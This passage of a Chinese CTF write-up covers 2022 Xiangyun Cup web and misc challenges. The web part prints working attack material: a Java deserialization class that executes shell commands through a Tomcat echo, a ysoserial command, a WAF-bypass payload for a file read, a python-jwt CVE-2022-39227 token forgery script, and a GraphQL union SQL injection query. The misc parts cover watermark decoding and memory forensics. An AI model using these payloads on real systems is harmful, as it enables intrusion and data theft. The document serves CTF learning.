}

根据上文代码,发现无法回显,但根据百度发现可以利用 apache 的 catalina 进行回显,同时程序包里有这个类库:

ixoifwr13mk15224.png

编写恶意类:

import com.sun.org.apache.xalan.internal.xsltc.DOM; 
import com.sun.org.apache.xalan.internal.xsltc.TransletException; 
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 
 
public class Meow extends AbstractTranslet { 
 
    public Meow() { 
        super(); 
        this.namesArray = new String[]{"meow"}; 
        try { 
 
            java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context"); 
            java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service"); 
            java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req"); 
            java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null); 
            contextField.setAccessible(true); 
            serviceField.setAccessible(true); 
            requestField.setAccessible(true); 
            getHandlerMethod.setAccessible(true); 
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = 
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); 
            org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext()); 
            org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); 
            org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors(); 
            for (int i=0;i<connectors.length;i++) { 
                if (4==connectors[i].getScheme().length()) { 
                    org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); 
                    if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) { 
                        Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses(); 
                        for (int j = 0; j < classes.length; j++) { 
                            if (52 == (classes[j].getName().length())||60 == (classes[j].getName().length())) { 
                                System.out.println(classes[j].getName()); 
                                java.lang.reflect.Field globalField = classes[j].getDeclaredField("global"); 
                                java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors"); 
                                globalField.setAccessible(true); 
                                processorsField.setAccessible(true); 
                                org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler,null)); 
                                java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); 
                                for (int k = 0; k < list.size(); k++) { 
                                    org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k)); 
                                    System.out.println(tempRequest.getHeader("tomcat")); 
                                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1); 
                                    String cmd = "" + "cat /flag" +""; 
                                    String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; 
                                    java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 
                                    java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\n"); 
                                    String output = s.hasNext() ? s.next() : ""; 
                                    java.io.Writer writer = request.getResponse().getWriter(); 
                                    java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter"); 
                                    usingWriter.setAccessible(true); 
                                    usingWriter.set(request.getResponse(), Boolean.FALSE); 
                                    writer.write(output); 
                                    writer.flush(); 
                                    break; 
                                } 
                                break; 
                            } 
                        } 
                    } 
                    break; 
                } 
 
 
            } 
 
 
        } catch (Exception e) { 
 
        } 
    } 
 
    @Override 
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 
 
    } 
 
    @Override 
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 
 
    } 
}

绕了一圈又找到了 Y4er 师傅的 ysoserial 修改版

https://github.com/Y4er/ysoserial

又试了下 cc4 结合 TomcatCmdEcho 内存马

java -jar ysoserial-main-1736fa42da-1.jar CommonsCollections4 "CLASS:TomcatCmdEcho" | base64

发包时注意把 Content-Type 删掉

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302045474.png

第二次发送的时候成功执行了命令

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302045093.png

查看 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302046074.png

后来想了想题目机器应该是不出网的, 一开始 cc2 的报错其实对于 rce 来说不影响, 结果后来换了个内存马的 payload 就成功了

不过 java 内存马目前还没怎么研究, 找个时间仔细看一下

把我们所有的东西组合起来,即可获得 payload,但是注意要把最后的回车删掉,不然无法反序列化,然后就得到 flag.

2.RustWaf

/src得到 nodejs 源代码

通过源码可以看到路由分别有三个 /readfile//src

并且可以通过源码知道我们操作的地方再 /readfile 并且定义了直接 post 传再 body

其实这个就是利用 fs 的函数,这个刷过 ctfshow 的同学都知道,可以读文件

const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({type: '*/*'}));
const {  execFileSync } = require('child_process');

app.post('/readfile', function (req, res) {
    let body = req.body.toString();
    let file_to_read = "app.js";
    const file = execFileSync('/app/rust-waf', [body], {
        encoding: 'utf-8'
    }).trim();
    try {
        file_to_read = JSON.parse(file)
    } catch (e){
        file_to_read = file
    }
    let data = fs.readFileSync(file_to_read);
    res.send(data.toString());
});

app.get('/', function (req, res) {
    res.send('see `/src`');
});



app.get('/src', function (req, res) {
    var data = fs.readFileSync('app.js');
    res.send(data.toString());
});

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

代码比较简单,重点就是在 /readfile 目录下读取文件,而会直接从 postbody 获取文件名,测试读 取 /etc/passwd 成功

aqs13lxfs4p15250.png

但是读取 flag 的时候没有成功,返回了 rust 的代码。可以发现如果 payload 中包含 flag 或者 proc 就会直接返回文件内容,如果绕过了再判断 payload 如果是 json 格式,那么是否存在 key 为 protocol ,如果存在也直接返回文件内容

use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;
static BLACK_PROPERTY: &str = "protocol";
#[derive(Debug, Serialize, Deserialize)]
struct File{
    #[serde(default = "default_protocol")]
    pub protocol: String,
    pub href: String,
    pub origin: String,
    pub pathname: String,
    pub hostname:String
    }
pub fn default_protocol() -> String {
    "http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
    if body.to_lowercase().contains("flag") ||
    body.to_lowercase().contains("proc"){
        return String::from("./main.rs");
        }

//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
    if body.to_lowercase().contains("flag") ||
    body.to_lowercase().contains("proc"){
        return String::from("./main.rs");
        }
        if let Ok(json_body) = serde_json::from_str::<Value>(body) {
            if let Some(json_body_obj) = json_body.as_object() {
                if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
                    return String::from("./main.rs");
                }
            }
            if let Ok(file) = serde_json::from_str::<File>(body) {
                return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
            }
        } else{
//body not json
            return String::from(body);
        }
        return String::from("./main.rs");
    }
    fn main() {
        let args: Vec<String> = env::args().collect();
        println!("{}", waf(&args[1]));
}

发现 corctf 的某道题和这道题类似,也是绕过 fs.readfileSync

链接

链接2

将 payload 以 json 格式传,但是这里用到的 payload 中存在 protocol 导致 rust 能检测到,要利用 unicode 绕过。

最终 payload :

{"hostname":"","pathname":"/fl%61g","protocol":"file:","origin":"fuckyou","pr\ud800otocol":"file:","href":"fuckyou"}

得到 flag 


3.FunWEB

赶在题目环境关闭前问了下学长思路然后复现了一波

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302200660.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302200628.png

题目存在 jwt, 用的是 python-jwt 库最近的漏洞 CVE-2022-39227

https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9

具体的 exp 在 commit 记录里面, 需要自己手动改

from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode

def topic(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    parsed_payload['is_admin'] = 1
    parsed_payload['exp'] = 2000000000
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
token = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMzcwMzAsImlhdCI6MTY2NzEzNjczMCwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJ4YWxlR2dadl9BbDBRd1ZLLUgxb0p3IiwibmJmIjoxNjY3MTM2NzMwLCJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiMTIzIn0.YnE5tK1noCJjultwUN0L1nwT8RnaU0XjYi5iio2EgbY7HtGNkSy_pOsnRl37Y5RJvdfdfWTDCzDdiz2B6Ehb1st5Fa35p2d99wzH4GzqfWfH5zfFer0HkQ3mIPnLi_9zFiZ4mQCOLJO9RBL4lD5zHVTJxEDrESlbaAbVOMqPRBf0Z8mon1PjP8UIBfDd4RDlIl9wthO-NlNaAUp45woswLe9YfRAQxN47qrLPje7qNnHVJczvvxR4-zlW0W7ahmYwODfS-KFp8AC80xgMCnrCbSR0_Iy1nsiCEO8w2y3BEcqvflOOVt_lazJv34M5e28q0czbLXAETSzpvW4lVSr7g')
print(token)

这里注册一个 123/123 用户, 然后用网站给的 token 来打

注意 parsed_payload['is_admin'] = 1 里面的 1 必须是 int 类型

之后直接把输出复制到 cookie 里, 再访问 /getflag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302201814.png

提示需要 admin password, 于是点击查看成绩, 发现是 graphql 查询

参考文章

https://hwlanxiaojun.github.io/2020/04/14/当CTF遇上GraphQL的那些事/

https://threezh1.com/2020/05/24/GraphQL漏洞笔记及案例/

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302202359.png

根据输出的意思, 改成 getscoreusingid

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302203567.png

graphql 其实就是在后端和数据库中间加了一层, 类似的也有 sql 注入

id 处不能直接注入, 限制死了是 int 类型, 猜测可能也有 getscoreusingname

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302205780.png

改成 getscoreusingnamehahaha

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302205871.png

union 注入, 试了一圈后发现是 sqlite 数据库, 在 sqlite_master 表中查到表名为 users, 然后猜字段为 password

{ getscoreusingnamehahaha(name: "1' union select group_concat(password) from users --"){ name score } }

拿着 admin 的密码去登录, 点击查看 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302208316.png




0x02 MISC

1.0o0o0

文件尾是pk,然后伪加密可以解开

图片[1]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

一个混淆脚本,要解混淆

from secret import o0o0o0_formula


o0000o0000 = np.float32(cv2.imread('0000.bmp', 0))
o0000o0000o = np.float32(cv2.imread('oooo.bmp', 0))
o0o0o0o0o0 = o0000o0000


for i in range(o0000o0000.shape[0]//8):  # 0-64
    for j in range(o0000o0000.shape[1]//8):  # 0-64
        o0oo000oo0 = int(o0000o0000.shape[0] / 8)
        o000000000 = int(o0000o0000.shape[1] / 8)
        o0000000000 = o0000o0000o.shape[0] * o0000o0000o.shape[1]
        o0ooooooo0 = math.ceil(o0000000000 / (o0oo000oo0 * o000000000))
        o00o0o0o00 = cv2.dct(o0000o0000[8*i:8*i+8, 8*j:8*j+8])
        for ooooooooo in range(o0ooooooo0):
            x, y = o0ooooooo0-ooooooooo, o0ooooooo0+ooooooooo
            o000ooo000 = o00o0o0o00[x, y]
            o0o0o0o0o0o = o00o0o0o00[8 - x, 8 - y]
            oo0o0 = secret([i, ooooooooo, random.randint(0, 10)])
            oo000 = secret([j, ooooooooo, random.randint(0, 10)])
            if o000ooo000 <= o0o0o0o0o0o:
                o0oo000oo0oo = random.randint(24, 36)
            else:
                o0oo000oo0oo = random.randint(-24, -12)
            o00o0o0o00[8-x, 8-y] = float(o0oo000oo0oo)
            o00o0o0o00[x, y] += float((o0000o0000o[oo0o0][oo000] - 128)*2)
        o0o0o0o0o0[8*i:8*i+8, 8*j:8*j+8] = cv2.idct(o00o0o0o00)


cv2.imwrite("0o0o0.bmp", o0o0o0o0o0)

实际上就是照着把变量换一便就行了,大概这样

import secrets
import numpy as np


img = np.float32(cv2.imread('0000.bmp', 0))
water = np.float32(cv2.imread('oooo.bmp', 0))


pic = img


for i in range(img.shape[0]//8):
    for j in range(img.shape[1]//8):
        a = int(img.shape[0] / 8)
        b = int(img.shape[1] / 8)
        num = water.shape[0] * water.shape[1]
        r = math.ceil(num / (a * b))
        dct = cv2.dct(img[8*i:8*i+8, 8*j:8*j+8])
        for m in range(r):
            rx,ry = r-m,r+m
            r1 = dct[rx,ry]
            r2 = dct[8-rx,8-ry]
            n1 = secret([i,m, random.randint(0, 10)])
            n2 = secret([i,m, random.randint(0, 10)])
            if r1<=r2:
                k = random.randint(24,36)
            else:
                k =  random.randint(-24, -12)
            
            dct[8-rx,8-ry] = float(k)
            dct[rx,ry] += float((water[m][m] - 128)*2)
        pic[8*i:8*i+8, 8*j:8*j+8] = cv2.idct(dct)
    
cv2.imwrite("0o0o0.bmp", pic)

ok,然后看看代码,

首先coploit非常牛逼,直接自动补全是dct域变换相关了,所以说这里直接也不用去想是什么算法相关了,网上脚本不太行,搜了下相关论文,还可以

一种基于DCT理论的空域数字水印算法-DAS算法 – 百度学术 (baidu.com)

然后具体更多细节内容在secert中,这里我们要结合论文内容进行分析

过一遍,r=4,然后把128的内容写入512内,之后进行8×8的分块,然后每个块需要4像素才可以全部隐藏。

计算获得

n1 = i*2+m*2

n2 = j*2+m//2

编写dct空域解密脚本

import numpy as np
import cv2 
from PIL import Image


img1 = cv2.imread('0o0o0.bmp')
img1 = img1.astype('float32')
img2 = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)
w,h = 128,128


r = 4  


water = Image.new('L', (w, h), 255)


res = []


a = int(img2.shape[0] / 8)
b = int(img2.shape[1] / 8)


for i in range(a):
    for j in range(b):
        dct = cv2.dct(img2[8*i:8*i+8, 8*j:8*j+8])
        for m in range(r):
            rx,ry = 4-m,4+m
            r1 = dct[rx,ry]
            r2 = dct[7-rx,7-ry]
            if r1>r2:
                water.putpixel((i*2+m%2,j*2+m//2),0)
                res.append(0)
            else:
                water.putpixel((i*2+m%2,j*2+m//2),255)
                res.append(1)


print(res)
water.show()

获得图片

图片[2]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

读取,转ascii码,发现结果不对,尝试xor了一下0xff,获得flag

from PIL import Image


im = Image.open("water.bmp")
im = im.convert("L")
w,h = im.size
flag = []


k = 0
for i in range(h):
    for j in range(w):
        if im.getpixel((j,i)) != 255:
            k += 1
        else:
            flag.append(k)
            k = 1


for i in flag:
  print(chr(i^0xff),end="")

2.strange_forensics

linux内存取证,基本上strings都能做,一步一步来

直接strings flag,发现了flag3

图片[3]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

flag1说是用户的密码,总所周知linux密码存在/etc/shadow文件内,当然字符串那么多也不怎么好找,还是看看,随处可见的bob

图片[4]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

那么bob也肯定就是明文存储在shadow里面了,看看shadow文件结构

图片[5]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

用户名后跟冒号加$符号,直接搜索

图片[6]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

找到了,直接丢入cmd5查询,获得flag1 890topico

然后flag2是个问题,继续寻找,尝试搜索Desktop等关键字,发现盲点,一个secret.zip的文件

图片[7]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

010搜索zip的文件头,翻到最后发现了zip文件。

图片[8]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

提取出来,是个伪解密,改下加密头00-》09进行爆破,

图片[9]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

最后获得密码123456

图片[10]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

拼接起来,最终flag

890topico_y0u_Ar3_tHe_LInUx_forEnsIcS_MASTER

补充

实际上使用vol做map解出来的捏,可惜查找文件效率实属感人,

写wp就懒得再做一遍了,strings大法好

图片[11]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

3.lena

水印,宇宙无敌超级大套娃,把关键内容基本都加了备注,混淆就是审计起来麻烦,其他的也没什么了,备注好各个功能就行,反正都是套娃,相互调用就行了,该题目使用的混淆工具

Oxyry Python Obfuscator – The most reliable python obfuscator in the world

import cv2
import pywt
import numpy as np
from reedsolo import RSCodec


#猫眼变换
def a(OO0O000OO00OO000O, O0O00OOOOO0OO0O0O):
    O000O0O0OOOOOO0OO, OO0000OOO0O0OOOOO, OOOOOOOOO00000OO0 = O0O00OOOOO0OO0O0O
    O0OO0OOO0OO0O0O0O = np.zeros(OO0O000OO00OO000O.shape)
    OO0OO0OOO0O0O0OOO, O00OO00OO0O000OOO = OO0O000OO00OO000O.shape[:2]
    for OOOO00O0O000O0O00 in range(O000O0O0OOOOOO0OO):
        for O0O00OO0000000000 in range(OO0OO0OOO0O0O0OOO):
            for O0OO0OO00OO0O00O0 in range(O00OO00OO0O000OOO):
                O00O00O00OOOOO000 = (O0OO0OO00OO0O00O0 +
                                     OO0000OOO0O0OOOOO * O0O00OO0000000000) % O00OO00OO0O000OOO
                OOO00000OOO0O0O00 = (
                    OOOOOOOOO00000OO0 * O0OO0OO00OO0O00O0 +
                    (OO0000OOO0O0OOOOO * OOOOOOOOO00000OO0 + 1) * O0O00OO0000000000) % OO0OO0OOO0O0O0OOO
                O0OO0OOO0OO0O0O0O[OOO00000OOO0O0O00, O00O00O00OOOOO000] = OO0O000OO00OO000O[O0O00OO0000000000,
                                                                                            O0OO0OO00OO0O00O0]
        OO0O000OO00OO000O = O0OO0OOO0OO0O0O0O.copy()
    return O0OO0OOO0OO0O0O0O


#b,分块,与c对应
def b(OO0O0OOO0OOOOOO00, O00OOOO0OOOOO0O00):
    O0OO00O00OO0OOO0O, O0O00O0O0OOOOOO0O = OO0O0OOO0OOOOOO00.shape[:2]
    OOO0000O0OOO00O0O, O0O0O0O0O0000OO00 = O00OOOO0OOOOO0O00
    OOO0OO0O00O0OO0OO = (O0OO00O00OO0OOO0O // OOO0000O0OOO00O0O, O0O00O0O0OOOOOO0O // O0O0O0O0O0000OO00,
                         OOO0000O0OOO00O0O, O0O0O0O0O0000OO00)
    O0OO0OOO0OOOO0O00 = OO0O0OOO0OOOOOO00.itemsize * np.array(
        [O0O00O0O0OOOOOO0O * OOO0000O0OOO00O0O, O0O0O0O0O0000OO00, O0O00O0O0OOOOOO0O, 1])
    OO0OO0O0OO0OO0O0O = np.lib.stride_tricks.as_strided(OO0O0OOO0OOOOOO00, OOO0OO0O00O0OO0OO,
                                                        O0OO0OOO0OOOO0O00).astype('float64')
    OO0OO0O0OO0OO0O0O = np.reshape(
        OO0OO0O0OO0OO0O0O,
        (OOO0OO0O00O0OO0OO[0] * OOO0OO0O00O0OO0OO[1], OOO0000O0OOO00O0O, O0O0O0O0O0000OO00))
    return OO0OO0O0OO0OO0O0O


#c 合块,与b对应
def c(O0O0OOOO0O0O00O0O, OOO0OO000O0000O00):
    O0O0O0O00OO0O0O00, OO000O00O0000O000 = OOO0OO000O0000O00[:2]
    OOOOO0000O0OO00OO, OOOO00O0OOO0000O0 = O0O0OOOO0O0O00O0O.shape[-2:]
    OOO0O000O0O0O00OO = (O0O0O0O00OO0O0O00 // OOOOO0000O0OO00OO, OO000O00O0000O000 // OOOO00O0OOO0000O0,
                         OOOOO0000O0OO00OO, OOOO00O0OOO0000O0)
    O0O0OOOO0O0O00O0O = np.reshape(O0O0OOOO0O0O00O0O, OOO0O000O0O0O00OO)
    OOOOO00O0O00OO00O = []
    for OO00OOO0O0O0OOO00 in O0O0OOOO0O0O00O0O:
        OOOOO00O0O00OO00O.append(np.concatenate(OO00OOO0O0O0OOO00, axis=1))
    OO00O0OO0O000OOOO = np.concatenate(OOOOO00O0O00OO00O, axis=0)
    return OO00O0OO0O000OOOO


#二值化用,
def d(OO00OOOO00000O000):
    O0O0000000000O00O = ((OO00OOOO00000O000 > 128) * 255).astype('uint8')
    return O0O0000000000O00O


#套娃变换,μ律
def e(O0OO0OOOOO0O00OOO, O000O0O0O0O00O0O0, O0OOOOOO00OO00O0O):
    return np.log(1 + O0OOOOOO00OO00O0O *
                  (np.abs(O0OO0OOOOO0O00OOO) / O000O0O0O0O00O0O0)) / np.log(1 + O0OOOOOO00OO00O0O)


#套娃里面的μ律逆变换
def f(O0O0OO0O0O000O0O0, OOOO0000O0OOOOO00, OOOO0OOO00O0OO00O):
    return (OOOO0000O0OOOOO00 / OOOO0OOO00O0OO00O) * (np.power(1 + OOOO0OOO00O0OO00O, np.abs(O0O0OO0O0O000O0O0)) - 1
                                                      )


#也是套娃的,QIM
def g(O0O0O0OO0OO00O000, O0O0O00O00000OO00, O0O0000O000OO00OO):
    O000O000OOOOO0OOO = (np.round(O0O0O0OO0OO00O000 * 1000 / O0O0000O000OO00OO) * O0O0000O000OO00OO +
                         (-1)**(O0O0O00O00000OO00 + 1) * O0O0000O000OO00OO / 4.) / 1000
    return O000O000OOOOO0OOO


class Watermark:


    def __init__(O0O0OOO0O0O000000, OO00OO0OO0OO00000):
        #初始变量定义,都是self
        O0O0OOO0O0O000000.block_shape = 4
        O0O0OOO0O0O000000.arnold_factor = (6, 20, 22)
        O0O0OOO0O0O000000.rsc_factor = 100
        O0O0OOO0O0O000000.mu_law_mu = 100
        O0O0OOO0O0O000000.mu_law_X_max = 8000
        O0O0OOO0O0O000000.delta = 15
        O0O0OOO0O0O000000.carrier = OO00OO0OO0OO00000.astype('float32')
        O00O00OOOOO0000O0, OO0OO0OO0OO0O0O0O = O0O0OOO0O0O000000.carrier.shape[:2]
        O0O0OOO0O0O000000.carrier_cA_height = O00O00OOOOO0000O0 // 2
        O0O0OOO0O0O000000.carrier_cA_width = OO0OO0OO0OO0O0O0O // 2
        O0O0OOO0O0O000000.watermark_height = O0O0OOO0O0O000000.carrier_cA_height // O0O0OOO0O0O000000.block_shape
        O0O0OOO0O0O000000.watermark_width = O0O0OOO0O0O000000.carrier_cA_width // O0O0OOO0O0O000000.block_shape
        O0O0OOO0O0O000000.max_bits_size = O0O0OOO0O0O000000.watermark_height * O0O0OOO0O0O000000.watermark_width
        O0O0OOO0O0O000000.max_bytes_size = O0O0OOO0O0O000000.max_bits_size // 8
        O0O0OOO0O0O000000.rsc_size = len(
            RSCodec(O0O0OOO0O0O000000.rsc_factor).encode(b'\x00' * O0O0OOO0O0O000000.max_bytes_size))
    #补数
    def h(OOO0O00OOOOOO0O00, O00O0OOOO00OOO0O0):
        OO00O0O0O0O0000OO = (O00O0OOOO00OOO0O0 % 2).flatten()
        if len(OO00O0O0O0O0000OO) < OOO0O00OOOOOO0O00.max_bits_size:
            OO00O0O0O0O0000OO = np.hstack(
                (OO00O0O0O0O0000OO,
                 np.zeros(OOO0O00OOOOOO0O00.max_bits_size - len(OO00O0O0O0O0000OO)))).astype('uint8')
        return OO00O0O0O0O0000OO


    #字节压缩转换
    def i(O00O0OOO0O00O0O0O, O0O0O00O00OO0O0OO):
        OOOO0OOO00O00OOOO = np.packbits(O0O0O00O00OO0O0OO).tobytes()
        return OOOO0OOO00O00OOOO


    #字节解压转换
    def j(O0O0O0O0O0O00000O, O0O00OOO00000O000):
        OOO0OOOO0O000O0OO = np.unpackbits(np.frombuffer(O0O00OOO00000O000, dtype='uint8'))
        if len(OOO0OOOO0O000O0OO) < O0O0O0O0O0O00000O.max_bits_size:
            OOO0OOOO0O000O0OO = np.hstack(
                (OOO0OOOO0O000O0OO,
                 np.zeros(O0O0O0O0O0O00000O.max_bits_size - len(OOO0OOOO0O000O0OO)))).astype('uint8')
        return OOO0OOOO0O000O0OO


    #屎山套娃...上面的efg都在里面.
    def k(OO00000O0OO0OO000, OOOOOOO00O00O0OO0, OOO00OO0O0OO0OOOO):
        O00O0OOO00OO0OO00 = OOOOOOO00O00O0OO0.copy()
        for OO000000O00OOO0O0, OO00O0000000OO0OO in enumerate(OOOOOOO00O00O0OO0):
            OO0OO0OOO0OOOOOO0 = OOO00OO0O0OO0OOOO[OO000000O00OOO0O0]
            O0OO00OO000000O0O = cv2.dct(OO00O0000000OO0OO)
            OOO000O000OO00OOO, OO00OOO000000OOO0, OO0OO0OOOO000OO0O = np.linalg.svd(O0OO00OO000000O0O)
            OO0000O0O000OO0OO = np.max(OO00OOO000000OOO0)
            OOO0O00OOOO0O0OO0 = e(OO0000O0O000OO0OO, OO00000O0OO0OO000.mu_law_X_max,
                                  OO00000O0OO0OO000.mu_law_mu)
            OOOO0OOO0O0OOO00O = g(OOO0O00OOOO0O0OO0, OO0OO0OOO0OOOOOO0, OO00000O0OO0OO000.delta)
            O00OOOOOOO0OO0OO0 = f(OOOO0OOO0O0OOO00O, OO00000O0OO0OO000.mu_law_X_max,
                                  OO00000O0OO0OO000.mu_law_mu)
            for O0O0O0OOO00O00OOO in range(OO00000O0OO0OO000.block_shape):
                if OO00OOO000000OOO0[O0O0O0OOO00O00OOO] == OO0000O0O000OO0OO:
                    OO00OOO000000OOO0[O0O0O0OOO00O00OOO] = O00OOOOOOO0OO0OO0
            O0OO0O0OOOOOO000O = np.dot(np.dot(OOO000O000OO00OOO, np.diag(OO00OOO000000OOO0)),
                                       OO0OO0OOOO000OO0O)
            O0OOO0O0O00OOO000 = cv2.idct(O0OO0O0OOOOOO000O)
            O00O0OOO00OO0OO00[OO000000O00OOO0O0] = O0OOO0O0O00OOO000
        return O00O0OOO00OO0OO00


        #关键内容,最终变换....
    def l(OOOOOOOO0OO00OOO0, O0O00O000OOO000OO):
        OOOO0O0OO0O000O00 = a(O0O00O000OOO000OO, OOOOOOOO0OO00OOO0.arnold_factor)#猫眼变换
        OOO00OO0000O0O0OO = d(OOOO0O0OO0O000O00)                                 #进行二值化
        O00O0OO0000OOOOO0 = OOOOOOOO0OO00OOO0.h(OOO00OO0000O0O0OO)              #补
        OO0000O000000O0OO = OOOOOOOO0OO00OOO0.i(O00O0OO0000OOOOO0)              #转换为字节
        OO00OOO0O0OO000OO = RSCodec(OOOOOOOO0OO00OOO0.rsc_factor)               #纠错
        O0O00OO0OO000OO0O = bytes(OO00OOO0O0OO000OO.encode(OO0000O000000O0OO)) #编码,转字节
        OOOOO0OOOOOO00OOO = OOOOOOOO0OO00OOO0.j(O0O00OO0OO000OO0O[:OOOOOOOO0OO00OOO0.max_bytes_size]) #压缩数组
        O0OO0OOO0000OO0OO = OOOOOOOO0OO00OOO0.j(O0O00OO0OO000OO0O[OOOOOOOO0OO00OOO0.max_bytes_size:])   #压缩数组
        O0OO0O00OO0000OOO = cv2.cvtColor(OOOOOOOO0OO00OOO0.carrier, cv2.COLOR_BGR2YCrCb)    #转换为YCrCb
        OOO000O00O000OO0O, OO0OO0O0OOOOOOO00, OO0OO0OO000OOO000 = cv2.split(O0OO0O00OO0000OOO)  #分离通道
        O000O00OO0O00000O, O00OO0OOO0O0OO000 = pywt.dwt2(OO0OO0O0OOOOOOO00, 'haar')      #小波变换
        O0O0O00OOOO00OO00, OOOOO00000000OO0O = pywt.dwt2(OO0OO0OO000OOO000, 'haar')         #小波变换
        OO0OOO0OOO00OO0O0 = b(O000O00OO0O00000O,
                              (OOOOOOOO0OO00OOO0.block_shape, OOOOOOOO0OO00OOO0.block_shape)) #分块
        O0OO000OOO0OO0000 = b(O0O0O00OOOO00OO00,
                              (OOOOOOOO0OO00OOO0.block_shape, OOOOOOOO0OO00OOO0.block_shape))   #分块
        O00000OO0O00O0O0O = OOOOOOOO0OO00OOO0.k(OO0OOO0OOO00OO0O0, OOOOO0OOOOOO00OOO)   #DCT套娃变换
        O000OOOO0000OOO00 = c(O00000OO0O00O0O0O,
                              (OOOOOOOO0OO00OOO0.carrier_cA_height, OOOOOOOO0OO00OOO0.carrier_cA_width)) #合块
        O0OO0O0OOO0O000OO = OOOOOOOO0OO00OOO0.k(O0OO000OOO0OO0000, O0OO0OOO0000OO0OO) #DCT套娃变换
        O000O0O0OOO00OO0O = c(O0OO0O0OOO0O000OO,
                              (OOOOOOOO0OO00OOO0.carrier_cA_height, OOOOOOOO0OO00OOO0.carrier_cA_width)) #合块
        OOO00O0OOO00OO0OO = pywt.idwt2((O000OOOO0000OOO00, O00OO0OOO0O0OO000), 'haar')  #小波逆变换
        O00OOO000O00OO0OO = pywt.idwt2((O000O0O0OOO00OO0O, OOOOO00000000OO0O), 'haar')  #小波逆变换
        O0OO000O0000000O0 = cv2.merge(
            [OOO000O00O000OO0O,
             OOO00O0OOO00OO0OO.astype('float32'),
             O00OOO000O00OO0OO.astype('float32')])
        O0OO0000000OO00O0 = cv2.cvtColor(O0OO000O0000000O0, cv2.COLOR_YCrCb2BGR) #转换为BGR
        return O0OO0000000OO00O0


if __name__ == '__main__':
    carrier = cv2.imread('test_images/lena.png')
    watermark = cv2.imread('test_images/flag.png', cv2.IMREAD_GRAYSCALE)
    wm = Watermark(carrier)
    embedded = wm.l(watermark)
    cv2.imwrite('embedded.png', embedded)

关键内容是l()函数,后面流程我都加备注了,基本流程是

两个图片各经历了不同的变化,

水印做猫眼,二值化之后压缩转为字节,最后RScode转为bytes,然后进行解压缩数据

